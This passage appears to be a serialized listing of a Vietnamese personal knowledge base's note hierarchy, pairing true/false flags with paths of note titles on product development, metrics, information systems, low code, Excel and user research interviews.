false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Hệ thống thông tin", + "Hình thức lưu trữ", + "Việc lưu dữ liệu ở các công cụ khác nhau tạo thành các đảo thông tin" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Hệ thống thông tin", + "Hình thức lưu trữ", + "Đảo thông tin khiến cho những thao tác tự động hoá đơn giản không thể làm được" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Hệ thống thông tin", + "Hình thức lưu trữ", + "❓Tại sao không cho người chưa biết gì về CNTT học về cơ sở dữ liệu trước thay vì học lập trình trước?" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Hệ thống thông tin", + "No code, low code", + "Các tiếp thị về low code hàm ý rằng việc code là việc khó nhất trong việc tạo sản phẩm, nhưng thực ra việc thảo luận và lên kế hoạch mới là thứ quan trọng nhất" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Hệ thống thông tin", + "No code, low code", + "Dùng low code để xây dựng hệ thống là đang mang nợ kỹ thuật vào người" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Hệ thống thông tin", + "No code, low code", + "Excel", + "Excel dịch chuyển một phần quyền lực của chuyên gia IT vào người sử dụng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Hệ thống thông tin", + "No code, low code", + "Excel", + "Excel không cho ta quản lý phiên bản được" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Hệ thống thông tin", + "No code, low code", + "Excel", + "Excel không cản ta làm điều mà ta sẽ hối tiếc" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Hệ thống thông tin", + "No code, low code", + "Excel", + "Excel không làm ta hiểu về lập trình một cách đúng đắn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Hệ thống thông tin", + "No code, low code", + "Excel", + "Excel không phù hợp cho việc lập cơ sở dữ liệu" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Hệ thống thông tin", + "No code, low code", + "Excel", + "Excel là loài gián trong ngành phần mềm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Hệ thống thông tin", + "No code, low code", + "Excel", + "Excel là một ngôn ngữ lập trình mà không làm ta cảm giác là đang lập trình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Hệ thống thông tin", + "No code, low code", + "Excel", + "Excel là nguồn ý tưởng cũng như là kẻ thù lớn nhất của các SaaS" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Hệ thống thông tin", + "No code, low code", + "Excel", + "Excel là người bạn tuổi thơ tuyệt vời, nhưng là kẻ thù của tuổi dậy thì" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Hệ thống thông tin", + "No code, low code", + "Excel", + "Excel là sản phẩm low code tồn tại lâu dài nhất" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Hệ thống thông tin", + "No code, low code", + "Excel", + "Excel đã làm một việc phi thường trong việc giáo dục hàng trăm triệu người về sức mạnh của phần mềm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Hệ thống thông tin", + "No code, low code", + "File Google Docs không thực sự là file" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Hệ thống thông tin", + "No code, low code", + "Lập trình viên khó chịu với hệ thống low code vì nó được tiếp thị như là một giải pháp hoàn hảo có thể giải quyết được mọi nhu cầu thực tế" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Hệ thống thông tin", + "No code, low code", + "No code, GUI là những cái tên khác nhau cho cùng một thứ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Hệ thống thông tin", + "No code, low code", + "Sản phẩm no code không thể nào đáp ứng được nhu cầu tuỳ biến cao" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Hệ thống thông tin", + "No code, low code", + "Sản phẩm no code đem đến sự phản hồi tức thời" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Hệ thống thông tin", + "Quản lý công việc và quản lý kiến thức không thể tách rời nhau" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Hệ thống thông tin", + "Sự khác biệt giữa các ứng dụng quản lý chủ yếu ở nghiệp vụ cần giải quyết chứ không nằm ở yếu tố kỹ thuật" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Hệ thống thông tin", + "Ta được hứa hẹn sẽ có những chiếc xe đạp cho tâm trí. Thay vào đó ta lại có máy bay" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "An outcome is a change in human behavior that drives business results" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Bởi vì sản phẩm có tính quy hồi và có thể là thành phẩm chung của nhiều sản phẩm lớn hơn, nên để quản lý được nó ta phải biết lập trình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Chỉ số", + "Chỉ số ta theo đuổi phải là chỉ số về giá trị của sản phẩm đối với người dùng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Chỉ số", + "Chỉ theo đuổi một chỉ số là quá đơn giản" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Chỉ số", + "Các chỉ số đo lường thu nhập" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Chỉ số", + "Dựa vào KPI thì bộ phận kinh doanh sẽ có tiếng nói lớn nhất, còn đội phát triển sản phẩm rất ít có tiếng nói" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Chỉ số", + "Khi một phép đo trở thành mục tiêu, nó thường mất đi sự hiệu quả của nó" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Chỉ số", + "NPS trên 50% là đạt được sản phẩm phù hợp thị trường" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Chỉ số", + "Nếu bạn không thể đo lường, bạn không thể cải tiến" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Chỉ số", + "Phân tích quyết định đa tiêu chí (MCDA) là phương pháp để tìm điểm đánh đổi tối ưu nhất" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Chỉ số", + "Tăng trưởng", + "Chỉ nên nghĩ về viral khi đã có một lượng người thực sự sử dụng sản phẩm của mình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Chỉ số", + "Tăng trưởng", + "Tăng trưởng của thị trường quan trọng hơn tăng trưởng doanh số" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Chỉ số", + "Tăng trưởng", + "Tăng trưởng là khoảng cách giữa chuyển đổi và rời bỏ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Chỉ số", + "Tăng trưởng", + "Tỉ lệ quay lại là thứ quan trọng nhất trong tăng trưởng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Chỉ số", + "Đừng dùng chỉ số sao bắc cực, hãy dùng chỉ số hải đăng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Chỉ số", + "❓Kết quả cuối cùng của MCDA có khác gì với tiền" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Chỉ số", + "❓Thứ quan trọng nhất là tìm được sản phẩm phù hợp thị trường. Tất cả những thứ khác đều không quan trọng bằng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Các công ty không quan tâm đến tính năng chuyên biệt" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Có thêm nhân viên không làm sản phẩm phù hợp với thị trường hơn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Design thinking bắt đầu từ một đề bài. Nhưng đề bài được ra thế nào thì không nói" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Insight trong phát triển sản phẩm gắn liền với việc thay đổi hành vi người dùng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Khi app có nhiều tính năng thì sẽ không biết một người dùng không vào là vì họ không tìm thấy tính năng họ cần hay là vì họ không biết app có tính năng họ cần" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Kiểm định giả thuyết", + "Có quá nhiều điều cần kiểm chứng nhưng dù muốn đi tìm cũng không ai chịu dành thời gian để trả lời" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Kiểm định giả thuyết", + "Giả định có mặt ở khắp nơi" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Kiểm định giả thuyết", + "Hãy liệt kê những niềm tin trước khi phỏng vấn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Kiểm định giả thuyết", + "Hệ thống giả thiết ban đầu dễ khiến ta bỏ qua việc kiểm chứng niềm tin, hoặc kiểm chứng bằng những câu hỏi định hướng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Kiểm định giả thuyết", + "Sử dụng nhiều phương pháp khác nhau để kiểm tra giả thuyết sẽ tránh thiên kiến tốt hơn là dùng một phương pháp nhiều lần" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Kiểm định giả thuyết", + "Việc kiểm định giả thuyết thường bị bỏ qua khi có quá nhiều việc" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Kiểm định giả thuyết", + "Để có thể thiết kế một giải pháp một cách nhanh chóng và tự tin, ta cần được thử nghiệm ý tưởng mới và kiểm tra giả thiết ngay khi chúng vừa được nghĩ ra" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Kiểm định giả thuyết", + "Đừng chạy theo tính năng, mà hãy xác định vấn đề cần ưu tiên giải quyết và nhanh chóng kiểm tra các giả thuyết" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Làm sản phẩm thiên về cảm giác, làm tăng trưởng thiên về dữ liệu" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Mô hình xoắn ốc nhấn mạnh vào phân tích rủi ro" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "1 nghiên cứu 20 ngày khác với 4 nghiên cứu 5 ngày" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Các bên liên quan, bối cảnh cạnh tranh", + "Biểu đồ cánh hoa phù hợp cho việc phân tích bối cảnh cạnh tranh ở một thị trường mới hoặc resegmented markets" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Các bên liên quan, bối cảnh cạnh tranh", + "Biểu đồ cạnh tranh giúp ta có được những giả định đầu tiên về những khách hàng đầu tiên của chúng ta" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Các bên liên quan, bối cảnh cạnh tranh", + "Biểu đồ cạnh tranh XY phù hợp cho việc phân tích bối cảnh cạnh tranh trên một thị trường đã có sẵn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Các bên liên quan, bối cảnh cạnh tranh", + "Các mạng xã hội có những báo cáo về xu hướng của người dùng nền tảng của họ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Các bên liên quan, bối cảnh cạnh tranh", + "Tổng hợp các cách biểu diễn các bên liên quan" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Các nghiên cứu có thể có cùng một mục tiêu nghiên cứu, nhưng khác nhau về câu hỏi nghiên cứu" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Giai đoạn lên ý tưởng thường khó khăn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Idea là một cái gì đó để thử, còn insight là kết quả của sự thử" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Knowns and unknowns" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Lên kế hoạch", + "Ai cũng có một kế hoạch cho tới khi bị đấm vào mồm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Lên kế hoạch", + "Những thứ không quan trọng có thể tự xử lý lẫn nhau" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Lên kế hoạch", + "Nên ưu tiên làm những việc có thể sẽ khiến ta phải viết lại kế hoạch" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Lên kế hoạch", + "Sự ghi chú tạm để để sau thôi cũng có khi tốn vài tiếng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Lên kế hoạch", + "Việc bàn kế hoạch sẽ có nhiều chủ đề đâm ngang mà cũng phải bàn cho rốt ráo" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Lên kế hoạch", + "Việc lập kế hoạch là để giảm những hệ quả không lường trước được và tạo ra được sự bền vững dài hạn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Lên kế hoạch", + "Việc ưu tiên ra quyết định nhanh làm ta thấy thảo luận và dành thời gian xây dựng kế hoạch và nghiên cứu là phí thời gian" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Lên kế hoạch", + "Để không bị đối thủ đấm vào mồm mà còn đấm được vào mồm hắn thì phải lên kế hoạch" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Mô hình kinh doanh và định giá" +] + +🚀: true +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Dữ liệu cho dự đoán tin cậy về hành vi người dùng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Dữ liệu cho ta biết hành vi của một người, nhưng không nói lý do họ làm điều đó" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Khảo sát", + "Có 4 loại câu hỏi – đặc điểm, thái độ, lòng tin, hành vi" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Khảo sát", + "Khảo sát thường được dùng để kiểm chứng các phát hiện quan trọng có được từ phỏng vấn trên quy mô lớn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Khảo sát", + "Khảo sát tốt nhất là chỉ có một câu. Người chịu khó trả lời câu hỏi mở thường là người đã quý mến mình sẵn rồi" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Khảo sát", + "Khảo sát định lượng chỉ có tính chính xác tương đối" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Khảo sát", + "Vì câu hỏi nghiên cứu thường là câu hỏi mở, nên ta cần chuyển thành câu hỏi định lượng được" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Persona, câu chuyện người dùng", + "Các câu chuyện mà người dùng kể được lấp đầy bởi khoảng trống mà họ kỳ vọng vào thế giới" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Persona, câu chuyện người dùng", + "Persona tuy tạo sự đồng cảm với người làm sản phẩm, nhưng lại chứa quá nhiều giả định" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Persona, câu chuyện người dùng", + "Segmentation là một nhóm user, còn persona thường là một chân dung có tính đại diện của nhóm đó" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Persona, câu chuyện người dùng", + "Đừng dùng câu chuyện người dùng (user story), mà hãy dùng câu chuyện công việc (job story)" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Persona, câu chuyện người dùng", + "❓Persona khác gì với segmentation" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Persona, câu chuyện người dùng", + "❓Persona là exemplar của segmentation" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Phỏng vấn", + "5 người dùng đầu tiên phát hiện 85% vấn đề ở sản phẩm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Phỏng vấn", + "Chọn người phỏng vấn", + "Người dùng dịch vụ của mình thường phản hồi những thứ họ chấp nhận được. Người dùng dịch vụ của đối thủ thường phản hồi những thứ họ không chấp nhận được" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Phỏng vấn", + "Chọn người phỏng vấn", + "Người thích mình thường có nhu cầu khác về sản phẩm so với người không thích mình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Phỏng vấn", + "Chọn người phỏng vấn", + "Nên phỏng vấn cả những người không nằm trong nhóm đối tượng mục tiêu của mình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Phỏng vấn", + "Chọn người phỏng vấn", + "Nên phỏng vấn một tập người dùng nhiều lần, nhưng không nên một người nhiều lần" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Phỏng vấn", + "Chọn người phỏng vấn", + "Việc chọn đối tượng phỏng vấn phụ thuộc vào việc giả định của mình liên quan đến hành vi nào" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Phỏng vấn", + "Hành vi người dùng", + "Con người không muốn mâu thuẫn với những điều mình nói ra" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Phỏng vấn", + "Hành vi người dùng", + "Con người nhiều khi không nói dối mà chỉ đang lý tưởng hoá bản thân" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Phỏng vấn", + "Hành vi người dùng", + "Người có nhu cầu thường để lại ấn tượng nhiều, nhưng số lượng không nhiều trong thị trường" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Phỏng vấn", + "Hành vi người dùng", + "Người dùng nói thích một tính năng không có nghĩa là họ sẽ bỏ những sản phẩm khác để đến với tính năng của mình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Phỏng vấn", + "Hành vi người dùng", + "Người dùng thường không nói không với những tính năng mới" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Phỏng vấn", + "Hành vi người dùng", + "Sự tiêu cực của người dùng là cơ hội làm dự án" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Phỏng vấn", + "Hãy hỏi người dùng họ cần sản phẩm này để giải quyết việc gì" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Phỏng vấn", + "Insight sẽ thường ra ngay lúc phỏng vấn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Phỏng vấn", + "Khi phỏng vấn hãy hỏi cả về hành vi, đừng chỉ hỏi về lý do họ làm điều đó" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Phát triển sản phẩm", + "Nghiên cứu, tìm ý tưởng", + "Người dùng", + "Phỏng vấn", + "Kết quả phỏng vấn phải actionable" +] + +🚀: false +[ + "", + 